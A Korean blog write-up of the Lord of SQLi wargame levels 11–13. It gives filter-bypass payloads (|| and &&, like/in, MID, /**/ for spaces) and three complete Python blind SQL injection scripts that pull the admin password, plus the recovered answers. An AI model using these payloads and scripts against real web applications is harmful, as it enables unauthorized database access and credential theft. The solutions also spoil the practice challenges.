본문 바로가기

워게임

los rubiya -11,12,13 풀이

안녕하세요! 이번에도 SQLi 전용 사이트에 있는 문제들을 풀어보겠습니다.

 

 

11번

 

골룸

 

 

보시면은..

 

or이랑 and이랑 substr(, = 을 못쓰게 했네요! 그리고 4번 문제처럼 또 id가 admin인 pw을 써야만 합니다.

 

그럼 간단하죠 파이썬 코드에 substr이 아닌 substring(을 쓰고 or 대신 || , and 대신 && 그리고 = 대신 like 쓰면

문제가 해결될 거 같습니다.

 

전에 작성한 코드에서 url이랑 기호들을 바꾸겠습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = int((start+end)/2) 

        data = {
            "pw": blind_query.format(query, s, 0)
        } #먼저 아스키 코드가 0인지 식별

        response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

        if index_value not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
                "pw": blind_query.format(query, s, mid),
            } #POST로 보낼 값 각각 작성


            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value not in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화
                print(value) #잘되는지 확인용


    return value


blind_query = "' || (id like 'admin' && ascii(substring(({}),{},1))>{} )&& '1'like'1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

= 대신 like 이용하셔도 기능은 똑같아요! 다만 정확한 정보를 찾을 땐 =이 확실해요

 

실행해 보겠습니다.

 

잘나오네요

 

 

이제 pw에 77d6290b 입력해서 보내겠습니다.

 

pw=77d6290b

 

Clear!

 

 

다음!

 

 

 

 

 

12번 문제

 

다크나이트

 

 

음..

 

이번에는 pw랑 no에 입력을 하는데

 

no값에 substr 단어 랑 ascii 코드랑 = 이 못 들어가네요 pw에는 '(작은 따옴표) 가 안되고요

 

정답은 pw만 입력 잘하면 admin이 나오게 되어서 이 문제 풀릴텐데..

 

파이썬 코드를 이용해서 하려고 하니 no에 substring과 아스키코드 비교를 못하네요...

그럼 pw에 이용하려고 했더니 '(작은 따옴표) 가 안되네요

no에서도 ' 이용이 불가합니다.

 

그럼.. 어떻게 하면 좋을까요

 

자세히 보니 no에 OR 구문이 사용 가능하네요!

 

그럼 한 번 이렇게 작성해 볼게요

 

pw=1&no=1 OR id like "admin"

 

' 가 안되면 "을 대신 이용하면 되죠

 

통하네요!

 

그리고.. ascii 랑 substring이 안되니 새로운 함수를 만들어야 되겠습니다. MID 함수을 이용하겠습니다.

 

MID(pw,1,1) 만약 이렇게 작성하면 1번째부터 1 글자를 뽑는 겁니다.

MID(pw,2,1) 이거는 2번째부터 1글자 출력하는 거예요.

 

그러니 간단히 말씀드려서 = 대신 like, ' 대신 " , substring 대신 mid 을 이용하겠습니다.

 

이걸 그대로 제가 짠 파이썬 코드에 대입하면 중간중간에 걸리는 아스키코드 때문에 오류가 발생해요..

예를 들어 .이나 _ 같은 값이 들어오면 코드가 그걸 구별 못해요.

 

그러니 그냥 일일이 0부터 Z까지 넣고 비교하는 함수를 따로 만들겠습니다.

 

 

 

-BlindSQLi_For.py

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(8) : #길이 8
        for i in range(ord('0'), ord('z')) :
            data = {
                "pw": '1',
                "no": blind_query.format(query, s, chr(i))
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            print(response.request.url)

            if index_value in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = '1 OR id like "admin" AND MID({},{},1) like "{}"' #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

실행해 보겠습니다.

 

일일이 넣어서 오래 걸리긴 하지만 확실하네요

 

아무래도 이진탐색을 할 땐 중간 값에서 이 수 보다 큰지 작은지 비교를 해야 되는데

만약 mid 값이 '(작은 따옴표) 일 때 hello admin이 나와서 참이 돼야 되는데

preg_math 때문에 HeHe 가 나오면 거짓으로 판별하게 되어서 꼬이게 됩니다.

 

그러니 저렇게 중간에 방해가 있으면 이 일일이 넣는 파이썬 코드를 사용하겠습니다.

느리긴 하지만요

 

 

그래서 답을 입력하겠습니다.

pw=0B70Ea1F

 

아마 안되실 거예요 왜냐하면 MYSQL은 대소문 자을 구별을 안 하다 보니 일일이 넣을 때

대소문자 상관없이 나오게 됩니다.

 

그러니 전부 소문자로 바꾼 뒤 입력하겠습니다.

pw=0b70ea1f

 

 

다크나이트.. 어려웠습니다

 

재밌네요! 이제 다음 문제로 가보겠습니다.

 

 

 

 

다음 문제!

 

13번 입니다.

 

홉고블린 = 버그베어

 

 

음..

 

no에 거의 다 막아 놨네요. 그래도 저희는 우회를 할 겁니다!

or, and 대신 || 와 &&을 사용하면 되고요 그리고 substring이 안되니 mid나 instr을 이용하면 됩니다!

띄어쓰기도 막아놨으니 괄호 혹은 /**/을 이용하면 되겠죠!

=, like 대신 in을 이용하면 되구요

 

 

INSTR 함수 란?

https://pingfanzhilu.tistory.com/entry/Oracle-%EC%98%A4%EB%9D%BC%ED%81%B4-INSTR-%ED%95%A8%EC%88%98%EB%AC%B8%EC%9E%90%EC%97%B4%EC%97%90%EC%84%9C-%EB%AC%B8%EC%9E%90-%EC%9D%B8%EB%8D%B1%EC%8A%A4%EC%9C%84%EC%B9%98-%EB%B0%98%ED%99%98-%EC%82%AC%EC%9A%A9%EB%B2%95

 

[Oracle] - 오라클 INSTR 함수(문자열에서 문자 인덱스(위치) 반환) 사용법

#오라클 INSTR 함수(문자열에서 문자 인덱스(위치) 반환) 사용법 #INSTR 함수를 사용하여 문자열의 특정 문자의 위치(인덱스)를 찾을 수 있습니다. #실습 -대소문자를 구분합니다. -인덱스는 1부터 시

pingfanzhilu.tistory.com

간단하게 말씀드리면 문자열에 특정 문자열이 포함되어 있으면 어디에 위치하는지 알려 주는 겁니다

 

일단 길이부터 확인하겠습니다.

 

pw=1&no=1/**/||/**/(id/**/in/**/("admin")/**/&&/**/length(pw)/**/in/**/8) 통해 8글자인 것을 찾았습니다.

 

결국 띄어쓰기는 /**/,  like 대신 in을 쓰면 됩니다.

 

pw='1'&no=1/**/||/**/(id/**/in/**/("admin")/**/&&/**/MID(pw,1,1)/**/in/**/("0"))

 

보기 불편하실 거예요 공백만 치환하면

 

pw='1'&no=1 || (id in ("admin") && MID(pw,1,1) in ("0")) 이렇게 되죠.

 

늘 그랬다시피 파이썬 코드에 넣겠습니다. 일일이 넣는 파이썬 코드에다가 수정하겠습니다.

왜냐하면 예외 되는 특수기호들이 너무 많으니깐요!

 

 

-BlindSQLi_For.py

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(8) :
        for i in range(32, 127) : #공백부터 ~까지 대입
            data = {
                "pw": '1',
                "no": blind_query.format(query, s, chr(i))
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = '1/**/||/**/(id/**/in/**/("admin")/**/&&/**/MID({},{},1)/**/in/**/("{}"))' #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

실행해 보겠습니다.

 

일일이 넣다 보니 오래 걸릴 거예요.

 

8글자!

대소문자들을 소문자로 바꾸고 52dc3991 이 답인 것을 알 수 있습니다!

 

pw=52dc3991

 

 

공백은 /**/, like 대신 in 쓰면 됩니다!

 

 

 

 

 

 

 

 

 

'워게임' 카테고리의 다른 글

los rubiya -17,18풀이  (0) 2023.05.15
los rubiya -14,15,16 풀이  (0) 2023.05.14
los rubiya -6,7,8,9,10 풀이  (0) 2023.05.11
los rubiya -1,2,3,4,5 풀이  (2) 2023.05.10
해킹 전용 사이트 만들기 - 1 (SQLi)  (0) 2023.05.08